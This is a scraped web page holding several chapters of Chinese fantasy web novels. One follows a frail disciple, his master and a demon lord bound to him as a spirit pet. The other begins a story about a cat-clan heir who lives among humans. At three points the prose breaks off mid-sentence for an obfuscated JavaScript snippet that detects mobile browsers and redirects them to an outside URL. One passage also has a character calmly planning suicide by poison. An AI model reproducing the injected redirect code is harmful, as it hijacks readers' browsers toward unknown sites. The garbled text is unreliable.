听见声音的顾棠回头疑惑的看了他一眼,见他还老老实实的盘膝坐在原本的位置上就不再关注他了,继续盯着自己的小茶壶发呆。 褚珏一脸菜色的低头不发一言。裴幡见他不在看自己也就放下了心来,专注的看着炉子旁坐着的顾棠。 气氛中隐隐透露出一股尴尬的感觉,但整个屋里只有褚珏一人为此浑身不自在,顾棠和裴幡都屁事没有,安之若素的做着自己的事情。 “好了好了!你们两个快来喝茶。” 时间差不多了,顾棠打开茶壶盖子,用一个小漏勺把茶水里的茶叶渣渣都捞了出来倒进了垃圾桶,端起茶壶给倒了满满三杯浑浊的茶水。 这茶…比当初顾棠为他熬的那壶中药看上去要好太多太多了,看来顾棠还是有在进步的! 褚珏一遍遍的给自己洗着脑,端起茶杯一口闷了。 9. 养了师尊的死对头做灵宠(九) 褚珏面无表情的放下杯子,恍惚间觉得自己的舌尖都快没有知觉了。 虽然他的小主人刷茶杯的时候并没有把茶壶也跟着一起刷了,而是直接往里灌了点儿水就开始烧,虽然那块茶饼看起来颜色不对,好像放时间长了已经坏了,虽然对方煮茶的步骤全都是错的… 但是也不至于尝出来是这种又辣又涩又苦的味道吧? 顾棠还在眼睛亮晶晶的盯着他俩,像是在等反馈或者夸夸。 褚珏强迫自己露出一个陶醉的表情,“这茶…可真好喝啊!” 顾棠闻言笑的更开心了,端起茶壶就要给自己也倒上一杯,褚珏心头一惊,连忙去拦,但就有个人比他先一步动作。 裴幡忍着烫斯哈了两下,大手举起茶壶对着嘴就灌了下去,深色的手指上很快就冒出来了几个小水泡,不知道他嘴里是不是也是这番景象。 “我…我也喜欢主人煮的茶!真好喝!我从来就没喝过这么好喝的东西!” 裴幡顶着被烫肿了一圈儿的嘴唇朝这目瞪口呆的盯着他的顾棠举起了大拇指,脸上还露出了独属于他的傻兮兮的笑。 这…这是个狠人啊。褚珏默默把伸出去的手又收了回来。 “真的嘛?你们喜欢就好!”少年白净小脸上的笑容看起来甜腻又圣洁,好看的不行。 “师尊从不让我把泡好的茶给别人喝,唉…真不知道他为什么要这样…宗门里的小伙伴们还没尝过我的手艺呢,他们一定会觉得非常遗憾吧。”顾棠轻蹙着眉,俨然一副为别人伤神的模样。 …那老登在这件事上倒是挺有先见之明的哈。褚珏捏着鼻子把最后一口茶喝干,觉得嘴巴都不是自己的了。 “话说咱师尊他老人家什么时候出关啊?那个剑灵就那么不好对付吗?”怕顾棠在心血来潮给他俩整点别的黑暗料理,褚珏连忙转移了话题。 顾棠想了想,摇摇头郁闷道,“侗芜很好,就是有时候说话给人的感觉有点怪怪的,师尊看不过去,说什么怕他教坏我…就把他带走了,看那样子没有个把月的应该是不会出关了。” 按理说,作为上古神器的剑灵的侗芜就算跌境跌得再猛,怎么说也要有大乘期的修为了,但谁让他并非是这神器的本命器灵呢? 他是飞升失败后灵魂晃晃悠悠的飘到了这把剑上才被认定为“剑灵”的,渡劫的天雷披在身上会造成多大的伤害?从古往今来飞升失败的大能没有一个能活下来这件事上看来就能清楚了。 侗芜境界下跌的厉害,而且身在法器中,根本就没法发挥出全力,连反抗周旻承都做不到,只好被人带着美其名曰给他磨性子,再次经历天劫去了。 没错,周旻承也将迎来自己的天劫了,那就是晋升大乘期的小雷劫,这是一种修仙界常见的死亡率很低但是全须全尾活下来的几率也不高的雷劫。 度过了这道天劫,今后整个修仙界就没有人再是周旻承的对手了,有了周旻承这股断层般的战力,修仙界的争端应该会少很多,百姓们的生存也会不再那么艰辛了——当然,这都是后话了。 事实上要是周旻承没有去那一趟秘境他可能还会因为自己的实力自信一点,但顾棠从秘境回来还把人家守护兽带回了宗门…他就很难自信起来了,和人家根本就不是一个量级的,这要真打起来周旻承觉得自己应该不是对手…吧。 从前最爱和周旻承比较修为的褚珏却没有第一时间关注周旻承闭关的事儿,而是从顾棠的话中提取了一个关键信息,就是“那个剑灵会说奇奇怪怪的话”。 那么问题就来了,周旻承会因为别人说几句话就恼羞成怒的打不过也要把人带走吗?褚珏觉得不会的。 那这剑灵说的话可就有讲究了,搞不定是什么调戏顾棠的虎狼之词云云…想到这儿,褚珏第一次与自己这个死对头同仇敌忾了起来。 好!就应该好好教训教训那家伙,省得他跟了顾棠以后还不老实。 “那他确实有点过分了。”但这些想法并不耽误褚珏义正言辞的抹黑死对头。 “没办法呀,师尊他也是为了我好。”顾棠笑得眉眼弯弯。 “我也对你好!”裴幡听得直皱眉,蹲下身子用脸蹭蹭他的手指。 顾棠手指微动,视线上移,眼神落在他的空气中微微抖动着的虎耳上。 “我知道,你们对我都很好啊,大家都是好朋友!我以后也会努力修炼,让自己变得配得上和你们做朋友的。”他握了握拳,白白嫩嫩的骨节连接处因为用力泛起漂亮的淡粉色。 裴幡挠挠头,眼神有些感动,用力点了点头,嘴里叭叭个不停。 “主人一定可以的!我看好主人!”对人类之间的关系一知半解的他显然并没有理解“朋友”和“坐骑”表达意思的不同。 裴幡始终秉持着顾棠的话就是真理的态度,顾棠说什么他就听什么,给他什么身份他也能安然接受。因为他压根就不懂每个身份之间的差异。 褚珏则是根本就能看出来顾棠属于天生根骨有损的那种人,就算踏入了仙途也可能有所长进,用再多的天财地宝堆上去都于事无补。 当然,这就意味着顾棠的圣元永远都只有不到100年,而且会随着年龄的增长一点点从青涩变得成熟,再然后,一点点变老…直到寿终正寝。 他会到就连抬一下眼皮都觉得费劲的年纪,然后,眼神里的光全部熄灭,眼睛慢慢闭上,再也无法睁开了。 褚珏接受不了看着顾棠走在自己之前的结局,所以在他对顾棠上心以后就盘算着和对方签订了这个所谓的灵宠契约——灵宠与主人同寿元,主人去世,灵宠的灵魂也会一同跟着消亡。 这个世界的法则很强大,一个人不能强行干涉另一个人的生老病死,但是可以选择和他共同承受痛苦。拆开来说就是法则之力允许你没事闲的找死,但不允许你逆天改命,尤其改的还是别人的命。 他们两个可以同一天死亡。听起来好像什么可怕的诅咒,但这对褚珏来说这却成了一种微妙的慰藉。 褚珏沉默着并没有搭腔,只是在一旁安静的看着顾棠。 我也会对你好。他在心里默默想。 天色一点点暗了下来,顾棠扒着窗户往外面看了看,拧了拧眉,眼神转向褚珏。 “你…你是不是回去还有很多事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222523|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要做呀?” 瞧他眉眼间的不舍,定是很不想自己连夜赶回魔教。 “我、我不急的,那些事儿都可以交给手下处理,要不然我养他们是干什么吃的!”其实并没有!有些东西事关魔教的机密,他是不可能让别人帮忙的。 褚珏在他委屈巴巴眨巴眼睛的攻击下连3秒钟都没撑过就缴械投降了,磕磕巴巴的解释道。 顾棠皱着的眉舒展开,欢快的去里屋铺床了。 这小屋里只有一张床,就是当初褚珏养伤睡着那张,一会儿会发生什么事显而易见。 就是不知道…谁能有幸被顾棠选中今晚能同床共枕。 “主人…您留在山下真的没关系吗?我听说凌天宗的门禁可是很严的,您回去会不会受罚啊?” 哦豁。褚珏说完这话就后悔了。 因为他刚刚才意识到,顾棠要是回宗门过夜的话也会带着裴幡一起,而住在这儿的就会变成只有他一个。 …死嘴,真快。他现在恨不得扇自己一个嘴巴子。 果然如他料想般的那样,顾棠动作一顿,眸子低垂着想了一下,然后煞有其事的点点头,“你说的还挺有道理…那好吧,等我铺好床你就睡这里,等我明天来找你玩,好不好?褚珏。” 顾棠又一脸期待的看着他了…褚珏哪受得了这个?只得艰难的扯了扯唇角。 “…嗯嗯,好。” 顾棠骑在裴幡背上往凌天宗的方向而去,只留下褚珏倚着门框盯着两个人远去的背影,望眼欲穿,远远看上去好像一座望夫石。 褚珏晃晃悠悠的回了屋子,整个人看上去没精打采的,好像魂都被掏走了似的。 再怎么说这也是顾棠的房间,他也算得上是和顾棠睡过同一张床了。…就是不知道什么时候能演变成在同一时间睡在同一张床上。 当然,他也只能想想了,他现在能做的最过分的事情就是在顾棠走后抱着顾棠盖过的被子在床上打几个滚而已。 …好香!好香的被子!呜呜呜被香香老婆的味道包围了! 褚珏只矜持了一会儿就忍不住扑进被子里打滚了,滚了几圈儿后连狼耳都舒服都冒出来望风了。 很难想象到堂堂一个魔尊会做出这种事,也许…他祖上有狗的基因?品种还是特别有名的哈士奇。 * 可能是因为太久没睡过好觉了,褚珏这一觉直接睡到了日上三竿。 听到院子里有动静,他迷迷糊糊的掀起眼皮下地开门,待到看清眼前的人是谁时他眼睛完全睁开了,瞪得像两个灯泡。 “周…周旻承老匹夫!”他噔噔噔往后退了好几步。 “…你在狗叫什么?” 周旻承是跟着顾棠来的,他昨天晚上刚闭关研究药剂出来,想看看顾棠睡了没,结果正好看见他家小徒弟从院子外偷偷摸摸的溜进来。 试问:周旻承抓到顾棠偷跑出去会怎样?答案是根本不会怎样。 结果就是他被小徒弟拉着软磨硬泡了半天,第二天一大早就被拉来和褚珏和解了。 周旻承倒是无所谓,反正当初被揍了一顿的又不是自己。 10. 养了师尊的死对头做灵宠(完) 就在两人剑拔弩张之时,顾棠从周旻承身后探出头来。 “主人…”褚珏神情立马就软了下来,指着周旻承朝顾棠哭诉,“你看看他,一上来就骂我!哪有一点想和解的样子?” 周旻承也跟着看向顾棠。 他向来看不起这些做派,矫揉造作的像什么样子?特别还是对一个比自己小很多的少年,褚珏脸怎么这么大?他是怎么好意思开口的? 周旻承不懂,只是一味的沉默,同时心里在想顾棠会不会真的让他道歉。 周旻承幼时没经历过什么趣事,生活里只有枯燥的修炼和打架,在顾棠小时候吵着要听睡前故事的时候他给人讲的就是绞杀魔教的那些事。 顾棠当时小小一只,却很有自己的想法,周旻承更多给他讲的是修仙界这边的伤亡,却没想到顾棠却问起了魔族。 魔族当然也是伤亡惨重,顾棠知道了后小脸皱巴巴的握着他的手指撒娇,叫他以后少参加那些战斗,别让自己受伤,别把更多人卷入争斗之中… 后来顾棠又问起魔族做过的恶事,周旻承沉默了半天,什么都没说。 是啊,这么多年来魔族有做过什么错事呢?他们只不过是修行方法不同于常理的而已,为什么要对人家赶尽杀绝呢? “师尊…和解…” 周旻承突然感觉自己袖口被扯了一下,他一低头就看到顾棠凑近他耳边小声说着。 声音轻飘飘的,像是在撒娇。撒娇…顾棠都有多久没对他撒过娇了? 周旻承眸光微动,手骤然握紧。 “凌天宗,和你们,和解。”为了小徒弟,也为了世界和平……在心里念叨了好几遍他才忍住想动手的念头。 靠!一想到这个心机狗受了重伤还不消停、还让顾棠把他带回家了、还成了顾棠的灵宠他心里就一阵烦闷,想着当初怎么就没直接砍死他。 “好说好说,呵呵呵…”在周旻承想杀人的目光的注视下,褚珏只得干笑两声,不置可否。 他没想到会真的把周旻承带来了,还轻飘飘的跟他说要“和解”,虽然说这位凌天宗掌门的神情还是不太友好,但好歹没有直接动手打他不是? “你说话管用吗?你们正道不会出尔反尔吧?你不会口头上答应的好好的,然后带着别的宗门的人来砍我吧?你不会的吧?周旻承啊…” “你要再多说一句废话信不信我现在就砍了你?”周旻承额头青筋直跳,不知何时法器已经攥在手里了。 “不说了不说了…主人保护我。” 褚珏眉头舒展开来,摸到顾棠旁边一肩膀把他身旁站着的裴幡撞开,自己则是凑近顾棠笑得一脸欠揍。 “不用担心,师尊说话最算数了,说不会动手就肯定不会动手的。” 顾棠拍拍他的肩膀安慰道,像是突然又想起了什么,他连忙转头看周旻承。 “师尊,我的剑灵呢?你们谈妥了吗?” 周旻承从储物袋里拔出侗芜剑,合拢剑鞘递到顾棠手里。 “他说话不太老实,不过我已经让他扳过来了,放心吧,以后侗芜就是你的剑了。” 顾棠欣喜的接过剑跑到一边和裴幡凑在一起研究起来,看着他欢快的样子,周旻承弯了弯唇,随即把目光投向褚珏,眼神又重新变得锐利。 “跟我来。” * 顾棠用手指敲了敲剑身,手指被震得生疼,但是剑灵没有一点要出来的意思,他苦恼的咬了咬唇,在唇瓣上留下一个显眼的牙印。 “是不是要再滴一次血啊?”裴幡迟疑道。 顾棠也想到了,但是咬破手指很疼,该不会每次叫侗芜出来都要滴一次血吧?那他宁愿不要这把剑…当然是不可能的。 他不情不愿的咬破手指滴了一滴血在上面,剑身霎时间金光大盛,一个小小的身影从剑柄处一点点显现了出来。 顾棠眼巴巴的等着自己这个剑灵做些什么时却见他刚睁开眼睛就扑进自己怀里死命的蹭自己前襟,两只小手扒拉着自己的衣服一把鼻涕一把泪的哭诉。 “呜呜呜主人!你都不知道那个杀千刀的东西都对我做了什么猪狗不如的事!我的清白都毁了呜呜呜…” 手心坐着的Q版小人两颗像黑葡萄一般透亮的眼睛哭的通红,看上去可怜的不行。 等等…清、清白?顾棠的眼神变得古怪起来。 自己师尊原来是这种人吗?自己怎么以前没发现呢? “他对你都做了什么?能不能跟我说说啊?”顾棠把他举到自己眼前,瞪大的眼睛里全是对知识的渴望。 这是该问这种问题的时候吗?这小孩怎么回事?侗芜心里冒出来一堆小问号,第一次对自己这么干脆认主的行为产生了怀疑。 “…他…他要拿我挡天劫!幸好他那天晚上晋升失败了,要不然我早就被他害的魂飞魄散了…” 说着说着,他又要开哭,可刚才被打断的情绪已经连接不上了,干挤挤不出眼泪,使他脸上哭泣的表情变得有些莫名的滑稽。 顾棠看着自己手心他滴落下来的泪珠,已经快要干了,而侗芜还在透着指缝观察他的脸色。 “那师尊可能是故意的吧。”这种是真的安慰不来,还不如坦荡点…或许师尊就是故意的呢?“人总有做错事的时候,但是我们要大度一点,毕竟你并没有受到实质性的伤害…小芜,要振作一点啊。” “主…主人,我不明白…”侗芜连装哭都忘了,只是愣愣的抬头看顾棠,现在看什么史前生物一样。 他温柔善良善解人意的主人去哪了?这个小恶魔是谁? 顾棠疑惑的歪着头,眸子里浅浅的光晕晃动间荡起一片波纹,水光潋滟。 不对,是小魅魔才对! “好吧…不和他一般计较了。”侗芜又重新抱住了顾棠的手指,安静的趴在顾棠手心不说话了。 突然感觉到右前方出现一股热烈的视线,侗芜疑惑扭头,正与裴幡的一双大眼对视上。 “…主人,这是什么东西?您养的小猫咪吗?”这玩意属实有点吓人了。 侗芜默默抱得更紧了,生怕眼前这个“强者”一巴掌呼死自己。 这只老虎身上的气息可比周旻承强多了,甚至比他将飞升前都要强上许多,就凭现在的他,怕是连这家伙的一巴掌都接不住。 “这是看管你的守护兽啊,你们竟然不认识的吗?”顾棠挨个看了看他俩,表情很是不可思议。 侗芜震惊,“我还有守护兽呢?我咋不知道?我何德何能让他这种境界的给我当保姆啊?” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222524|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幡小心翼翼的从顾棠手心捏起侗芜放到眼前看了看,砸吧两下嘴。 “好小的东西。” 这是嘲讽吗?这绝对是嘲讽吧!侗芜气得想一口咬在他手上,找了半天却连个能下嘴的地方都没找到。 桌上没人管的侗芜剑突然飞了起来直奔裴幡的后脑勺,“铛”的一声,剑身直打摆子,裴幡却屁事没有。 “主人,这屋里有蚊子!我刚才好像被叮了一下…哎?现在又没感觉了。” 目睹了两人之间武力值差异的顾棠很有眼色的闭上了嘴巴。 事实上,侗芜之所以伤不到裴幡,是因为他在天上时身上被天界大佬们下了咒,把侗芜剑打在他身上的伤害全抵消了,换言说侗芜就算有了自我意识像逃离也无法摆脱裴幡带给他的绝对压制。 “你们在聊什么?” 就在两人僵持时,周旻承身后跟着褚珏进来了。 “师尊!你们两个聊什么啦?我能听听嘛?”顾棠跳到周旻承面前笑嘻嘻的问他。 坏师尊,竟然想着用他的剑灵抵挡雷劫!心里非议着,顾棠盯着周旻承的眼神更炽热了,像是在等他给回应。 “没什么,就是叫他以后不要想着欺负你,给了他点小教训罢了。”周旻承默默自家小徒弟想头,弯了弯唇,一点都不在意他的无理言行。 小孩子就是要活泼点胆子大点才好,这样以后才不会吃亏,顾棠被他养得这么好,他很满意。 18岁不到的少年,在他们几个普遍活了近千年的老妖怪眼里可不就是小孩子吗? 周旻承想过了,既然顾棠这么喜欢和平,他就努力还给对方一个太平盛世。 瞥了一眼不知道在想什么脸上都笑开了花的周旻承,褚珏面露嫌恶,转而凑近顾棠,在他耳边小声道。 “他要整顿修仙界,还说什么要世界和平…真是自负的家伙,主人可不能学他这么盲目自信,要不然会吃亏的。” 转念一想,褚珏又笑了笑,“但是没关系,我和裴幡会保护好你的,谁敢让你吃亏,我们就教训他。” “嗯,谢谢你们。”顾棠看了两人一眼,弯了弯眸子,却并没把两人的话当做对自己的承诺。 他很早就清楚自己的状况了,也早就不抱什么希望了。 师尊说过,他可能这辈子都无法修复经脉了,一辈子可能达到的最高境界也就是筑基期大圆满了…而结金丹之前修士的寿元都是不变的,该多少岁就是多少岁。 也就是说他根本没法向身边那些同门师兄弟一样福寿绵长,而是会像一个普通人一样看着自己一天天枯萎老去,最后变成地里的一捧黄土。 顾棠不想看着自己一点点变丑,变老,变得不再招人喜欢…也不想看着曾经对自己好的人一个个转身离去,重新对自己变得冷漠起来。 对于未来归属一类的问题,他心里早有了决断。 等到三四十岁的时候就从师尊的药库里随便找点毒药来吃,最好还是吃了不太痛苦还能死相好看点的那种,他不想死的太难看,后世还要被人找到墓碑前挖苦嘲笑。 至于现在的日子嘛…就得过且过吧,活在当下!反正在别人眼中,现在的他还是很多人羡慕的对象呢。 顾棠偶尔也想满足一下自己小小的虚荣心呀。 11. 猫猫的人类观察手册(上) 人类是一种嫉妒心很强的生物!他们看到猫猫的尾巴总会忍不住伸出自己罪恶的爪子拽一把,只因为他们自己没有。 这是顾棠在人间晃荡了半个月以来得出的先进经验,他把这些都记进了心里,决定以后回猫族就向自己的部下传授。 看着路过的一个个人类手里拿着手机还能往前走、丝毫不用担心一个跟头摔死的幸福样子,顾棠不禁在心里流下了羡慕的泪水。 真羡慕愚蠢的人类有两个很方便的爪子,不像他,凡有点重要的事情都只能记在脑子里。 所以人类是没有脑子吗?要是有脑子的话为什么还要进化出两个好用的…前爪?沉浸在自己的幻想里,顾棠从内心深处油然生出一种优越感来。 他兴冲冲的捧起本子看了起来,“猫猫统治人类的第一步就是吸引住人类的全部目光,让他们无暇他顾,只能每天哄着捧着自己。” 这是现任族老留下的,这句话下面被顾棠打上了个大大的叉叉。 每个将要继承族群的猫猫成年之际都要在人间度过,它们族群的长老美其名曰让他们这些没见过世面的小猫见识一下人间的险恶,事实上大多数族猫都知道自家族老是个沉迷于被人撸的堕落的罪恶猫猫。 顾棠最看不起这种猫了! 他有个梦想,那就是做统治人类的邪恶猫猫大王,每天让人类给他端茶倒水,伺候他洗澡睡觉,把人类当仆役使唤! 最最重要的一点是那些被他奴役了的人类还要表现出很高兴的样子,这才是统治的最高境界。 如果他知道自己的这个梦想和他所看不起的祖老的做法最终都会殊途同归,也许他就不会把这个当做梦想了。 这天,他迈着猫步在一片别墅区边上闲逛——他选的区域也是有讲究的。 听说人类和他们猫猫不一样,地位越高、越有本事的人就越喜欢大的地方,而他们猫猫则是越有智慧就越喜欢蜗居在一个自己的专属角落里,顾棠曾经就是这种猫猫。 但有时候只要一个罐罐就可以把他勾引出自己的地盘撸个够。(bushi) “咪咪,过来。” 脑袋里里还在勾勒着自己的登基大计呢,顾棠突然耳朵动了动,抬起眼皮看了一眼眼前这个高大的人类。 每当有人这么叫他的时候都是要来给他“进贡”的,正好有点饿了,顾棠也不矫情,立着尾巴起身蹭到那个人类面前。 但是为什么要叫“咪咪”?顾棠不懂,但他没理由跟吃的过不去。 “要吃火腿肠吗?”方应宸蹲下来摸摸他的头,把包装袋撕开,露出里面香喷喷的香肠。 “喵呜。”人类,这东西喵也就尝个新鲜,以后还是要记得带罐罐来哦。 作为以后将要统治人类的邪恶猫猫,顾棠才不会把这些人给的东西当做施舍呢,他只会觉得是贿/赂。 人类不就喜欢背地里干这种事吗?猫猫把一切都看在眼里,而猫猫,很好学! 放心吧,等以后本大王统治你们的时候会给你个好官做的,你的家人本大王也会好好照顾的。 方应宸可不知道小猫有这么多小心思,还没步入社会的青年脑子里少了很多弯弯绕绕,做什么事情只看眼缘。 他看这只猫顺眼就买来了火腿肠喂他,看他乖乖吃火腿肠的样子,心里突然生出了一种想把他带回家养的感觉。 “咪咪,你愿意跟我回家吗?”方应宸揉揉小猫耳朵,对手里软绵绵的触感完全没有抵抗力。 顾棠能不能听懂是一码事,听懂了但要不要装听不懂是另一码事,很显然,眼前这种情况就被他归为了要装听不懂的那种。 吃完了最后一点火腿肠渣渣,他喵喵叫了两声,舔舔爪子,步态优雅的走回草丛里窝成一团装作睡着。 看来这只小猫并不想跟自己回家啊… 方应宸有些遗憾的想着,但又想到第二天还能带好吃的来喂这只小猫,他心情又好了点儿。 等到青年的身影渐渐消失在了街尾,顾棠睁开一只眼睛看了看,又闭上了。 到了睡觉时间了,别的猫顾棠不知道,但是自己是一定要赶在所有人睡着之前先睡饱的,然后单独一只猫在自己的领地巡视一圈儿,没有危险才能再次回到自己窝里睡觉。 从前他的领地和普通的猫一样,只有小小的一点,但进入人类世界后他也入乡随俗的苦哈哈的扩大了自己的领地。 曾经喂过他的人类都被他划到了自己的地盘内,每天都要绕着房子巡视。 没办法,这就是统治者必须要担起的责任呀。顾棠翘着尾巴洋洋得意。 “今天怎么来这么早?等会儿,莹莹在做饭呢,我去给你拿盘子装点。” 夏予臻眼尖看到了门外逡巡着的小小身影,拉开阳台的门朝楼下喊到。 不错,不错,看来这些人都很有上进心呀,这不会是讨好的一种手段吧? 顾棠坐在门口舔舔爪子,静静望着这家厨房的方向,圆溜溜的猫眼里流露出向往的神色,显得很人性化。 那里正飘来一阵阵的香味儿,一个窈窕纤细的身影穿着围裙正在忙活着,还时不时传来一阵热水的沸腾声。 猫猫最喜欢吃白水煮的东西了!但是顾棠其实不是那么喜欢的,只是因为他们一组的人都喜欢吃那些东西,而且吃了之后毛毛还会变得更滑更漂亮,顾棠就也跟着学。 作为首领猫猫,他要保持自己的形象始终是族群中最好的。 顾棠的尾巴忍不住在后面欢快的摇了起来,反应过来后,他一爪子摁住尾巴尖。 不可以摇!只有头脑简单四肢发达的狗狗才会整天摇尾巴,他可是高贵爱干净的猫猫!以后还会成为带领人类走向辉煌的统领者,可千万不能被那些人类发现他竟然会背地里干这种事。 简直有损他喵喵大王的威严。 “咪咪!”夏予臻刚喊了一声,顾棠的身形就如离弦之箭般蹿进了大门。 台阶上的白瓷盘子里装着两块鸡胸肉和几个剥好的虾仁,顾棠一头埋了进去哼唧哼唧的吃了起来。 夏予臻和他女朋就友倚在透明纱窗门上看着。 夏予臻家里已经养了一条狗了,是只已经一岁半的边牧,他家里很有钱,再养只猫也应该完全没有问题才是… 但是卢莹莹却有中度的猫毛过敏,隔一段距离看着还行,只要一伸手摸猫一定会满身起红疹子的,所以就算夏予臻再喜欢这只小猫都没法把它带回家养,他还为此遗憾了好长一段时间。 卢莹莹本身也很喜欢小猫,看着他身后茸茸的大尾巴总是忍不住蜜汁尖叫,心里的小人一直在咬着手帕,暗恨自己为什么非要猫毛过敏。 她和夏予臻也曾商量过要不要给这只小猫找个主人,但后来又放弃这个打算了,因为这小区里的人都非富即贵,他们都愿意每天喂喂这只小猫,要是以后顾棠不在这片别墅区混了,那些人说不定还会找他们麻烦。 “好可爱啊,要是能养在家里和豆豆做个伴就好了。”卢莹莹叹了一口气,眼神还依依不舍的看着小猫。 豆豆是他们家那只边牧的名字,顾棠看见过几次那家伙,每次听到他被人类叫这个愚蠢的名字都会忍不住围着他转几圈儿,十分不厚道的嘲笑他一会儿。 顾棠的名字是自己起的,他研究人类文学研究了好几个月,“顾”这个姓在很多文学里都是有钱有地位的象征,而“棠”字就要含蓄一点了,是他根据海棠花的花语取的,活泼又美好。 他特别喜欢这种花瓣轻盈,颜色鲜艳,偶尔还会带点香味儿的花。 这个姓氏用来警示他自己不要忘了称霸人类的野心,名则是表现在外在上,用于迷惑那些愚蠢的人类。 “喵呜。”多谢。 虽然不知道这两个人类为什么不凑过来摸摸他,但是看了一眼被自己舔的干干净净的盘子,顾棠还是很有礼貌的朝两人友好的叫了一声。 夜还很长呢,作为一只有职业操守的小猫他必须要一晚上巡视完所有的领地,可不能在某个地方乐不思蜀了。 下一家! 肚子撑得圆滚滚的顾棠大摇大摆的走在小区的水泥地面上,心里满满是巡视自己领地的趾高气昂。 下一家是个长相阴郁的男人,顾棠对他了解并不多,只是第一天来到这个街区差点被饿死的时候被对方给的半根火腿肠救回过一命,这份恩情被他记到现在,打定心思以后一定要给他封个殿前侍卫的官儿做。 前厅没人,后花园也没人,家里一片漆黑,看上去也不像是有人的样子。看来那个男人还没回来啊…顾棠绕着独栋别墅转了一圈儿就往下一家走去了。 一晚上什么危险都没发现,反而把肚子撑的圆鼓鼓的,转了这么一大圈都没消化掉多少,顾棠已经预感到自己第二天一定会长胖不少了。 看来明天不能接受那些人类的贿/赂了,唔…也许那些人都是故意每天来喂他,把他喂的这么胖的? 因为众所周知,一只胖成球的猫猫是不可能成为解救人类于水火的英雄的。英雄都是又高又帅又上进的,总之不可能是个胖子。 咳咳…这纯粹是顾棠出去后偷偷看了太多个人英雄主义作品的缘故。 当然,今晚街区里有多少户人家因为没有喂到小猫很郁闷的整宿睡不着觉…顾棠是不会知道了。 * 今天,夏予臻家的院子里似乎有什么东西不一样了。 顾棠扒在院子的栅栏门上往里面看,正好与一个戴着黑色鸭舌帽的忧郁青年对视上。 一人一猫大眼瞪小眼了半天。 “哥,你们家栅栏上有个猫。” 夏予槐冷冷淡淡的目光看得小猫背上的毛都扎起来了,身子也拱成了一个桥型。 夏予臻也看见了把头贴在栅栏上探头探脑的顾棠,朝他笑着招招手。 “今天怎么来得这么早?是不是昨天晚上没吃饱啊?” 听到吃这个词,顾棠突然松开爪子一溜烟似的跑了。 夏予臻手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222525|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵在半空,有些不明所以。 他看了看自己和平常并无二样的衣服,又看了看院子里的陈设,最后,看向身边站着的一脸凶相的弟弟。 “你表情太凶了,看把小猫吓的。” “这下子她可能好多天都不会来我们这边了。”卢莹莹也拧着眉一脸遗憾。 夏予槐也顺着两人的方向看过去,那只小猫早就跑远了,没一会儿,就连身后摇晃着的那条毛茸茸的大尾巴都消失在了道路尽头,彻底没了影。 不知道为什么,夏予槐心里也突然升起了一抹遗憾。 顾棠如果知道了他的想法一定会不屑一顾的,因为他才不会怕一个区区的人类呢! 只不过是因为他快成年了,族群那边要紧急召回他开会罢了。 顾棠就是只这么会未雨绸缪的猫,他之前还想着要在成年前就完成成年后的挑战,好向家族里那些觉得他不行的长辈证明一下他的实力呢!可惜照目前的局势看他这个计划要泡汤了。 圆桌上围坐着一圈儿毛色漂亮的猫猫,顾棠小小但长条的身形站在圆桌中间好像一个展览品似的被不停打量着。 周围的人都在窃窃私语,顾棠耳朵动了动,用尽全力也没听清他们到底在谈论些什么,他有些泄气的耸拉着耳朵。 半个小时过去了,那些猫猫像是讨论出了结果,其中一个看起来年龄大些的走出猫群,跳上桌子就奔他来了。 “喵×N。(棠棠啊,你以后是要当我们族长,这件事我们觉得还是应该你自己做决定。)”很严肃的语气,但如果听在人类的耳朵就里只是很软绵绵的喵喵叫而已。 眼前这只猫就是被人类摸了两下就变得没脾气的那个!顾棠很不情愿的抬了抬耳朵,叫声闷闷的。 “喵呜。(好的喵,长老爷爷。)” “再次喵×N。(我们种族在经历过三次发情期之内是一定要找伴侣的,但是你不一样,你的体质特殊,可以选择未来作为一名人类生活下去。)” 顾棠慢慢歪过了头,满脑子都是问号。他怎么突然听不懂这个长老说的话了呢? “喵×N…?(你想啊,比起一只猫,作为一个人类应该更容易成为人类的统治者吧?毕竟他们老祖宗有句古话说的好啊,‘非我族群,其心必异’…你觉得老喵我说得对不?)” 顾棠瞬间面露恍然大悟状,跟着严肃的点了点头。 …… 反正最终的结果就是顾棠再次出现在街区的时候已经是个戴着帽子和口罩的正常人类了。 帽子是为了遮头顶会时不时冒出来的小猫耳朵,口罩是为了长时间观察同一个人的时候不会被认出长相当成变态。 虽然变成了人类,但是他并不需要像那些苦逼的人类一样到处奔波寻求生机,因为他还有来自长老的馈赠,这一身行头就是他刚买来的。 